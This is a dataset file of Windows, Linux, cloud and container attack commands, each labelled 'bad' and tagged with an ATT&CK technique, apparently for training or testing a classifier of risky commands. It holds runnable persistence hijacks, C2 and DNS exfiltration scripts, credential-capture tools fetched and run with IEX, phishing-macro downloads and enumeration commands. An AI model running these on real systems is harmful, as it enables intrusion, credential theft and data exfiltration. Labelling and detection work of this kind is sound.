cowWhySo/permission-command-corpus huggingface dataset:
Command: reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F ECHO Let's open the Computer Management console now... compmgmt.msc
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task Persistence via CompMgmt.msc
Notes: Adds persistence by abusing `compmgmt.msc` via a scheduled task.
When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). 
This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command: reg delete "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /f schtasks /Delete /TN "#{task_name}" /F
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task Persistence via CompMgmt.msc
Notes: Adds persistence by abusing `compmgmt.msc` via a scheduled task.
When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). 
This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command: reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F ECHO Let's run the schedule task ... schtasks /Run /TN "EventViewerBypass"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1053.005
Platform: windows
ATT&CK tags: T1053.005
Source rule: Scheduled Task Persistence via Eventviewer.msc
Notes: Adds persistence by abusing `eventviewer.msc` via a scheduled task.
When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command: if(-not (Test-Path #{filepath})){ 1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." } } [System.Net.ServicePointManager]::Expect100Continue = $false $filecontent = Get-Content -Path #{filepath} Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1041
Platform: windows
ATT&CK tags: T1041
Source rule: C2 Data Exfiltration
Notes: Exfiltrates a file present on the victim machine to the C2 server.
Command: $dnsServer = "#{dns_server}" $exfiltratedData = "#{exfiltrated_data}" $chunkSize = #{chunk_size} $encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData) $encodedData = [Convert]::ToBase64String($encodedData) $chunks = $encodedData -split "(.{$chunkSize})" foreach ($chunk in $chunks) { $dnsQuery = $chunk + "." + $dnsServer Resolve-DnsName -Name $dnsQuery Start-Sleep -Seconds 5 }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1041
Platform: windows
ATT&CK tags: T1041
Source rule: Text Based Data Exfiltration using DNS subdomains
Notes: Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel.
Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "PathToAtomicsFolder\T1574.008\bin\calc.cs" Powershell -noprofile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.008
Platform: windows
ATT&CK tags: T1574.008
Source rule: powerShell Persistence via hijacking default modules - Get-Variable.exe
Notes: Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\Local\Microsoft\WindowsApps and 
names it Get-Variable.exe for Windows 10 and above.
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
Command: Remove-Item "$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" -ErrorAction Ignore Stop-Process -Name "calculator"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1574.008
Platform: windows
ATT&CK tags: T1574.008
Source rule: powerShell Persistence via hijacking default modules - Get-Variable.exe
Notes: Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\Local\Microsoft\WindowsApps and 
names it Get-Variable.exe for Windows 10 and above.
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
Command: pcalua.exe -a #{process} pcalua.exe -a #{payload_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1202
Platform: windows
ATT&CK tags: T1202
Source rule: Indirect Command Execution - pcalua.exe
Notes: The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://twitter.com/KyleHanslovan/status/912659279806640128)
Upon execution, calc.exe should open
Command: forfiles /p c:\windows\system32 /m notepad.exe /c #{process}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1202
Platform: windows
ATT&CK tags: T1202
Source rule: Indirect Command Execution - forfiles.exe
Notes: forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.
[Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml)
"This is basically saying for each occurrence of notepad.exe in c:\windows\system32 run calc.exe"
Upon execution calc.exe will be opened.
Command: conhost.exe "#{process}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1202
Platform: windows
ATT&CK tags: T1202
Source rule: Indirect Command Execution - conhost.exe
Notes: conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer.
Executing it through command line can create process ancestry anomalies
[Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/)
Command: Scriptrunner.exe -appvscript "#{payload_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1202
Platform: windows
ATT&CK tags: T1202
Source rule: Indirect Command Execution - Scriptrunner.exe
Notes: The "ScriptRunner.exe" binary can be abused to proxy execution through it and bypass possible whitelisting. Upon test execution, calc.exe should open
Reference: https://x.com/NickTyrer/status/914234924655312896
Command: # Copy command to clipboard Set-Clipboard -Value '#{command}' # Open Run dialog Start-Process -FilePath "powershell" -ArgumentList "-c (New-Object -ComObject 'Shell.Application').FileRun()" -WindowStyle Hidden # Wait for Run dialog to open Start-Sleep -Seconds 1 # Paste command and execute Add-Type -AssemblyName System.Windows.Forms [System.Windows.Forms.SendKeys]::SendWait('^v') Start-Sleep -Milliseconds 500 [System.Windows.Forms.SendKeys]::SendWait('{ENTER}')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1202
Platform: windows
ATT&CK tags: T1202
Source rule: Indirect Command Execution - RunMRU Dialog
Notes: Simulates execution of commands via the Windows Run dialog (Win+R) by programmatically opening the Run dialog, 
copying a command to clipboard, and automating the paste and execution. This generates artifacts in the RunMRU registry key,
which is commonly abused by threat actors to execute malicious commands disguised as CAPTCHA verification steps.
Upon execution, a test PowerShell command will be executed through the Run dialog.
Command: $fileName = "#{file}" $url = "#{domain}" $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test" $contentType = "application/octet-stream" try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1020
Platform: windows
ATT&CK tags: T1020
Source rule: IcedID Botnet HTTP PUT
Notes: Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file
Command: $fileName = "#{file}" Remove-Item -Path $fileName -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1020
Platform: windows
ATT&CK tags: T1020
Source rule: IcedID Botnet HTTP PUT
Notes: Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file
Command: $sampleData = "Sample data for exfiltration test" Set-Content -Path "#{sampleFile}" -Value $sampleData $ftpUrl = "#{ftpServer}" $creds = Get-Credential -Credential "#{credentials}" Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1020
Platform: windows
ATT&CK tags: T1020
Source rule: Exfiltration via Encrypted FTP
Notes: Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.
Command: Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1020
Platform: windows
ATT&CK tags: T1020
Source rule: Exfiltration via Encrypted FTP
Notes: Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.
Command: powershell.exe -c "Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1025
Platform: windows
ATT&CK tags: T1025
Source rule: Identify Documents on USB and Removable Media via PowerShell
Notes: This test simulates an attack where PowerShell is used to detect connected USB or other removable storage devices and gather a list of specific document files 
(e.g., .docx, .xls, .txt, .pdf). The command works by first identifying removable drives on the system and then recursively searching through each one for files 
matching the targeted extensions. If no removable drives are present, the script will return a message stating that no media is detected. This behavior mimics 
how adversaries mi
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing) Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1557.001
Platform: windows
ATT&CK tags: T1557.001
Source rule: LLMNR Poisoning with Inveigh (PowerShell)
Notes: Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out.
Command: $url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm' [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1566.001
Platform: windows
ATT&CK tags: T1566.001
Source rule: Download Macro-Enabled Phishing Attachment
Notes: This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.
Command: Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1566.001
Platform: windows
ATT&CK tags: T1566.001
Source rule: Download Macro-Enabled Phishing Attachment
Notes: This atomic test downloads a macro enabled document from the Atomic Red Team GitHub repository, simulating an end user clicking a phishing link to download the file.
The file "PhishingAttachment.xlsm" is downloaded to the %temp% directory.
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) $macrocode = " Open `"#{jse_path}`" For Output As #1`n Write #1, `"WScript.Quit`"`n Close #1`n Shell`$ `"ping 8.8.8.8`"`n" Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1566.001
Platform: windows
ATT&CK tags: T1566.001
Source rule: Word spawned a command shell and used an IP address in the command line
Notes: Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.
Upon execution, CMD will be launched and ping 8.8.8.8.
Command: Remove-Item #{jse_path} -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1566.001
Platform: windows
ATT&CK tags: T1566.001
Source rule: Word spawned a command shell and used an IP address in the command line
Notes: Word spawning a command prompt then running a command with an IP address in the command line is an indicator of malicious activity.
Upon execution, CMD will be launched and ping 8.8.8.8.
Command: export AWS_REGION=#{aws_region} cd #{stratus_path} echo "Stratus: Start Warmup." ./stratus warmup aws.discovery.ec2-enumerate-from-instance echo "Stratus: Start Detonate." ./stratus detonate aws.discovery.ec2-enumerate-from-instance
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1580
Platform: linux,macos,iaas:aws
ATT&CK tags: T1580
Source rule: AWS - EC2 Enumeration from Cloud Instance
Notes: This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-te
Command: cd #{stratus_path} echo "Stratus: Start Cleanup." ./stratus cleanup aws.discovery.ec2-enumerate-from-instance echo "Removing Stratus artifacts from local machine." rm -rf stratus*
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1580
Platform: linux,macos,iaas:aws
ATT&CK tags: T1580
Source rule: AWS - EC2 Enumeration from Cloud Instance
Notes: This atomic runs several API calls (sts:GetCallerIdentity, s3:ListBuckets, iam:GetAccountSummary, iam:ListRoles, iam:ListUsers, iam:GetAccountAuthorizationDetails, ec2:DescribeSnapshots, cloudtrail:DescribeTrails, guardduty:ListDetectors) from the context of an EC2 instance role. This simulates an attacker compromising an EC2 instance and running initial discovery commands on it. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-te
Command: aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1580
Platform: iaas:aws
ATT&CK tags: T1580
Source rule: AWS - EC2 Security Group Enumeration
Notes: Simulate an attacker's action to enumerate EC2 Security Groups in a compromised AWS environment.
Command: kubectl create -f #{path} -n #{namespace} # wait 3 seconds for the instance to come up sleep 3 kubectl exec -n #{namespace} busybox -- #{command}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1609
Platform: containers
ATT&CK tags: T1609
Source rule: ExecIntoContainer
Notes: Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”.
Command: kubectl delete pod busybox -n #{namespace}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1609
Platform: containers
ATT&CK tags: T1609
Source rule: ExecIntoContainer
Notes: Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”.
Command: docker build -t t1609 $PathtoAtomicsFolder/T1609/src/ docker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh docker exec -i t1609_container bash -c "cat /tmp/output.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1609
Platform: containers
ATT&CK tags: T1609
Source rule: Docker Exec Into Container
Notes: Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“docker exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “docker exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts.
Command: docker stop t1609_container docker rmi -f t1609:latest
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1609
Platform: containers
ATT&CK tags: T1609
Source rule: Docker Exec Into Container
Notes: Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“docker exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “docker exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts.
Command: $InstallerAssemblyDir = "#{assembly_dir}" $InstallerAssemblyFileName = "#{assembly_filename}" $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.004
Platform: windows
ATT&CK tags: T1218.004
Source rule: CheckIfInstallable method call
Notes: Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.
If no output is displayed the test executed successfuly.
Command: Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" -ErrorAction Ignore Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" -ErrorAction Ignore Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" -ErrorAction Ignore Remove-Item -Path "$Env:windir\System32\Tasks\notepad.exe" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.004
Platform: windows
ATT&CK tags: T1218.004
Source rule: InstallUtil evasive invocation
Notes: Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation."
will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion.
Command: df -aH smbutil view -g //#{computer_name} showmount #{computer_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: macos
ATT&CK tags: T1135
Source rule: Network Share Discovery
Notes: Network Share Discovery
Command: smbstatus --shares
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: linux
ATT&CK tags: T1135
Source rule: Network Share Discovery - linux
Notes: Network Share Discovery using smbstatus
Command: net view \\#{computer_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: windows
ATT&CK tags: T1135
Source rule: Network Share Discovery command prompt
Notes: Network Share Discovery utilizing the command prompt. The computer name variable may need to be modified to point to a different host
Upon execution available network shares will be displayed in the powershell session
Command: net share
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: windows
ATT&CK tags: T1135
Source rule: View available share drives
Notes: View information about all of the resources that are shared on the local computer Upon execution, available share drives will be displayed in the powershell session
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: windows
ATT&CK tags: T1135
Source rule: Share Discovery with PowerView
Notes: Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.
Command: Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1" Invoke-ShareFinder #{parameters}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: windows
ATT&CK tags: T1135
Source rule: PowerView ShareFinder
Notes: PowerView is a PowerShell tool to gain network situational awareness on Windows domains. ShareFinder finds (non-standard) shares on machines in the domain.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') shareenumeration -noninteractive -consoleoutput
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: windows
ATT&CK tags: T1135
Source rule: WinPwn - shareenumeration
Notes: Network share enumeration using the shareenumeration function of WinPwn
Command: dir \\#{computer_ip}\c$ dir \\#{computer_ip}\admin$ dir \\#{computer_ip}\IPC$
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: windows
ATT&CK tags: T1135
Source rule: Network Share Discovery via dir command
Notes: Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip
Upon execution available network shares will be displayed in the commandline session
Command: cmd /c '#{sharp_path}' /ldap:all | out-file -filepath "#{output_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1135
Platform: windows
ATT&CK tags: T1135
Source rule: Enumerate All Network Shares with SharpShares
Notes: SharpShares is a command line tool that can be integrated with Cobalt Strike's execute-assembly module, allowing for the enumeration of network shares. 
This technique has been utilized by various ransomware groups, including BianLian.
[Reference](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-136a)